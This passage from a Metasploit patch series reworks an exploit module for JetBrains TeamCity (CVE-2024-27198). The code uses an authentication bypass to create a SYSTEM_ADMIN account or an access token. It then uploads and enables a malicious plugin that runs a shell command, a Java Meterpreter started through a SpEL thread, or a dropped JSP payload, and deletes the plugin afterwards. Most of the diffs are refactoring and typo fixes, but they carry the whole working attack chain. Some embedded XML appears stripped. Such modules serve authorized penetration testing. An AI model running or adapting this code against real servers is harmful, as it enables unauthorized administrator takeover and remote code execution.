let + # the exploit complete, but we wont be able to delete the plugin (as all access to the plugin will block). + if res.nil? && (target['Arch'] == ARCH_JAVA) && (target['Platform'] == 'java') && (datastore['Spawn'] == 0) + print_warning('Spawn was 0, accessing the plugin will block and timeout.') + else + fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') + end end # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. From 1e371d0e4a923c58c67429e4c01172e0d8758f55 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 11 Mar 2024 18:06:44 +0000 Subject: [PATCH 22/29] resolve teh Java payload issue on Linux by leveraging PayloadServlet, runnign teh payload in a thread, and forcing teh default optiosn for Spawn to be 0 --- .../jetbrains_teamcity_rce_cve_2024_27198.rb | 27 ++++++++++--------- 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 135b4b5366c3..1a9538e0814a 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -47,7 +47,13 @@ def initialize(info = {}) [ 'Java', { 'Platform' => 'java', - 'Arch' => ARCH_JAVA + 'Arch' => ARCH_JAVA, + 'DefaultOptions' => { + # We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to + # happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown + # reason Spawn > 0 will not work against TeamCity on Linux. + 'Spawn' => 0 + } } ], [ @@ -295,10 +301,14 @@ def exploit if target['Platform'] == 'java' zip_resources = payload.encoded_jar(random: true) + # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread. + servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') + zip_resources.add_file('/metasploit/PayloadServlet.class', servlet) + payload_bean_id = Rex::Text.rand_text_alpha(8) - # We can call the payloads main class via some Spring Expression Language (SpEL). - bootstrap_spel = "\#{ #{payload_bean_id}.main(null) }" + # We start the payload in a new thread via some Spring Expression Language (SpEL). + bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" # NOTE: We place bootstrap_spel in a separate bean, as it this generates an exception the plugin will fail # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder @@ -311,7 +321,7 @@ def exploit - + @@ -405,14 +415,7 @@ def exploit ) unless res&.code == 200 - # If we configure a Java payload to not Spawn (i.e. Spawn == 0), the call to load the plugin will block, - # and we get nil as the response due to timeout. We still get a session, so just print a warning and let - # the exploit complete, but we wont be able to delete the plugin (as all access to the plugin will block). - if res.nil? && (target['Arch'] == ARCH_JAVA) && (target['Platform'] == 'java') && (datastore['Spawn'] == 0) - print_warning('Spawn was 0, accessing the plugin will block and timeout.') - else - fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') - end + fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') end # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. From 46dd21d69d715ae879235cd9d61747dd7bfee9ac Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Wed, 13 Mar 2024 09:11:42 +0000 Subject: [PATCH 23/29] use ||= to assign new hash if needed Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 1a9538e0814a..665546330d22 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -114,7 +114,7 @@ def send_auth_bypass_request_cgi(opts = {}) vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16)) end - opts['vars_get'] = {} unless opts.key? 'vars_get' + opts['vars_get'] ||= {} opts['vars_get'].merge!(vars_get) From d7bf7bc2ea83387793da088c0da3f0eb01980980 Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Wed, 13 Mar 2024 09:12:56 +0000 Subject: [PATCH 24/29] Use Failure::NoAccess as a better failure error, as we are trying to login Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 665546330d22..a37f25659648 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -231,7 +231,7 @@ def exploit # A failed login attempt will return in a 401. We expect a 302 redirect upon success. if res&.code == 401 - fail_with(Failure::UnexpectedReply, 'Failed to login with new admin user credentials.') + fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') end else unless res&.code == 200 From b9e82375c1666ed1c5b52f0cd3dafd523db21ce8 Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Wed, 13 Mar 2024 09:13:11 +0000 Subject: [PATCH 25/29] typo Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index a37f25659648..39481f415178 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -256,7 +256,7 @@ def exploit http_authorization = "Bearer #{token_value}" end - # As we have created an access token, this being block ensures we delete the token when we are done. + # As we have created an access token, this begin block ensures we delete the token when we are done. begin # # 2. Create a malicious TeamCity plugin to host our payload. From df2c94f8733e2ceaaf81c19fac13f21f5b3a4985 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Wed, 13 Mar 2024 09:14:23 +0000 Subject: [PATCH 26/29] anther typo --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 39481f415178..4098c53871e8 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -310,7 +310,7 @@ def exploit # We start the payload in a new thread via some Spring Expression Language (SpEL). bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" - # NOTE: We place bootstrap_spel in a separate bean, as it this generates an exception the plugin will fail + # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. From b04e84ed999aa8c5a1730011aa92941f21f87114 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Wed, 13 Mar 2024 09:17:18 +0000 Subject: [PATCH 27/29] clarify we must call this a second time --- .../exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 4098c53871e8..c75cea783069 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -644,6 +644,7 @@ def delete_plugin(http_authorization, plugin_name) return false end + # The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time. plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) if plugin_uuid.nil? From 4bd105202a8fdb3c02f2e7d6044d920e059ca7e0 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Wed, 13 Mar 2024 09:29:43 +0000 Subject: [PATCH 28/29] improve the readability of the XML --- .../jetbrains_teamcity_rce_cve_2024_27198.rb | 82 ++++++++++--------- 1 file changed, 44 insertions(+), 38 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index c75cea783069..16254e2fe4dc 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -280,21 +280,23 @@ def exploit zip_resources.add_file( "META-INF/build-server-plugin-#{plugin_name}.xml", - %( - - - - - #{shell} - #{flag} - - - - -) + <<~XML + + + + + + #{shell} + #{flag} + + + + + + XML ) elsif target['Arch'] == ARCH_JAVA # If the platform is java we can bootstrap a Java Meterpreter @@ -317,15 +319,17 @@ def exploit zip_resources.add_file( "META-INF/build-server-plugin-#{plugin_name}.xml", - %( - - - - - -) + <<~XML + + + + + + + + XML ) else # For non java platforms with ARCH_JAVA, we can drop a JSP payload. @@ -342,20 +346,22 @@ def exploit zip_plugin.add_file( 'teamcity-plugin.xml', - %( - - - #{plugin_name} - #{plugin_name} - #{Faker::Lorem.sentence} - #{Faker::App.semantic_version} - - #{Faker::Company.name} - #{Faker::Internet.url} - - - -) + <<~XML + + + + #{plugin_name} + #{plugin_name} + #{Faker::Lorem.sentence} + #{Faker::App.semantic_version} + + #{Faker::Company.name} + #{Faker::Internet.url} + + + + + XML ) zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) From 6d84f0e89855f1264a53f27d760b5b545a84599c Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Wed, 13 Mar 2024 09:58:51 +0000 Subject: [PATCH 29/29] reduce the size of teh exploit method by spinngin out two new methods create_payload_plugin and auth_new_admin_user. several if/unless blocks were flattened to be inline if/unless --- .../jetbrains_teamcity_rce_cve_2024_27198.rb | 328 +++++++++--------- 1 file changed, 170 insertions(+), 158 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 16254e2fe4dc..4b98f1dfb103 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -187,52 +187,9 @@ def exploit token_name = nil token_value = nil - admin_username = Faker::Internet.username - admin_password = Rex::Text.rand_text_alphanumeric(16) + http_authorization = auth_new_admin_user - res = send_auth_bypass_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'), - 'ctype' => 'application/json', - 'data' => { - 'username' => admin_username, - 'password' => admin_password, - 'name' => Faker::Name.name, - 'email' => Faker::Internet.email(name: admin_username), - 'roles' => { - 'role' => [ - { - 'roleId' => 'SYSTEM_ADMIN', - 'scope' => 'g' - } - ] - } - }.to_json - ) - - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.') - end - - print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") - - http_authorization = basic_auth(admin_username, admin_password) - - # Login via HTTP basic authorization and store the session cookie. - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), - 'keep_cookies' => true, - 'headers' => { - 'Origin' => full_uri, - 'Authorization' => http_authorization - } - ) - - # A failed login attempt will return in a 401. We expect a 302 redirect upon success. - if res&.code == 401 - fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') - end + fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil? else unless res&.code == 200 # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here @@ -247,9 +204,7 @@ def exploit # Extract the authentication token from the response. token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s - if token_value.nil? - fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') - end + fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil? print_status("Created authentication token: #{token_value}") @@ -263,108 +218,9 @@ def exploit # plugin_name = Rex::Text.rand_text_alphanumeric(8) - if target['Arch'] == ARCH_CMD - - case target['Platform'] - when 'win' - shell = 'cmd.exe' - flag = '/c' - when 'linux', 'unix' - shell = '/bin/sh' - flag = '-c' - else - fail_with(Failure::BadConfig, 'Unsupported target platform') - end - - zip_resources = Rex::Zip::Archive.new - - zip_resources.add_file( - "META-INF/build-server-plugin-#{plugin_name}.xml", - <<~XML - - - - - - #{shell} - #{flag} - - - - - - XML - ) - elsif target['Arch'] == ARCH_JAVA - # If the platform is java we can bootstrap a Java Meterpreter - if target['Platform'] == 'java' - zip_resources = payload.encoded_jar(random: true) - - # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread. - servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') - zip_resources.add_file('/metasploit/PayloadServlet.class', servlet) - - payload_bean_id = Rex::Text.rand_text_alpha(8) - - # We start the payload in a new thread via some Spring Expression Language (SpEL). - bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" - - # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail - # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder - # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we - # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. - - zip_resources.add_file( - "META-INF/build-server-plugin-#{plugin_name}.xml", - <<~XML - - - - - - - - XML - ) - else - # For non java platforms with ARCH_JAVA, we can drop a JSP payload. - zip_resources = Rex::Zip::Archive.new - - zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) - end - - else - fail_with(Failure::BadConfig, 'Unsupported target architecture') - end - - zip_plugin = Rex::Zip::Archive.new - - zip_plugin.add_file( - 'teamcity-plugin.xml', - <<~XML - - - - #{plugin_name} - #{plugin_name} - #{Faker::Lorem.sentence} - #{Faker::App.semantic_version} - - #{Faker::Company.name} - #{Faker::Internet.url} - - - - - XML - ) + zip_plugin = create_payload_plugin(plugin_name) - zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) + fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil? # # 3. Upload the payload plugin to the TeamCity server @@ -399,9 +255,7 @@ def exploit 'data' => message.to_s ) - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') - end + fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200 # # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server. @@ -420,9 +274,7 @@ def exploit } ) - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') - end + fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200 # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. begin @@ -480,9 +332,7 @@ def exploit } ) - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') - end + fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200 end ensure # @@ -505,6 +355,168 @@ def exploit end end + def auth_new_admin_user + admin_username = Faker::Internet.username + admin_password = Rex::Text.rand_text_alphanumeric(16) + + res = send_auth_bypass_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'), + 'ctype' => 'application/json', + 'data' => { + 'username' => admin_username, + 'password' => admin_password, + 'name' => Faker::Name.name, + 'email' => Faker::Internet.email(name: admin_username), + 'roles' => { + 'role' => [ + { + 'roleId' => 'SYSTEM_ADMIN', + 'scope' => 'g' + } + ] + } + }.to_json + ) + + unless res&.code == 200 + print_warning('Failed to create an administrator user.') + return nil + end + + print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") + + http_authorization = basic_auth(admin_username, admin_password) + + # Login via HTTP basic authorization and store the session cookie. + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + } + ) + + # A failed login attempt will return in a 401. We expect a 302 redirect upon success. + if res&.code == 401 + print_warning('Failed to login with new admin user credentials.') + return nil + end + + http_authorization + end + + def create_payload_plugin(plugin_name) + if target['Arch'] == ARCH_CMD + + case target['Platform'] + when 'win' + shell = 'cmd.exe' + flag = '/c' + when 'linux', 'unix' + shell = '/bin/sh' + flag = '-c' + else + print_warning('Unsupported target platform.') + return nil + end + + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file( + "META-INF/build-server-plugin-#{plugin_name}.xml", + <<~XML + + + + + + #{shell} + #{flag} + + + + + + XML + ) + elsif target['Arch'] == ARCH_JAVA + # If the platform is java we can bootstrap a Java Meterpreter + if target['Platform'] == 'java' + zip_resources = payload.encoded_jar(random: true) + + # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread. + servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') + zip_resources.add_file('/metasploit/PayloadServlet.class', servlet) + + payload_bean_id = Rex::Text.rand_text_alpha(8) + + # We start the payload in a new thread via some Spring Expression Language (SpEL). + bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" + + # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail + # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder + # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we + # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. + + zip_resources.add_file( + "META-INF/build-server-plugin-#{plugin_name}.xml", + <<~XML + + + + + + + + XML + ) + else + # For non java platforms with ARCH_JAVA, we can drop a JSP payload. + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) + end + + else + print_warning('Unsupported target architecture.') + return nil + end + + zip_plugin = Rex::Zip::Archive.new + + zip_plugin.add_file( + 'teamcity-plugin.xml', + <<~XML + + + + #{plugin_name} + #{plugin_name} + #{Faker::Lorem.sentence} + #{Faker::App.semantic_version} + + #{Faker::Company.name} + #{Faker::Internet.url} + + + + + XML + ) + + zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) + + zip_plugin + end + def get_install_path(http_authorization) res = send_request_cgi( 'method' => 'GET',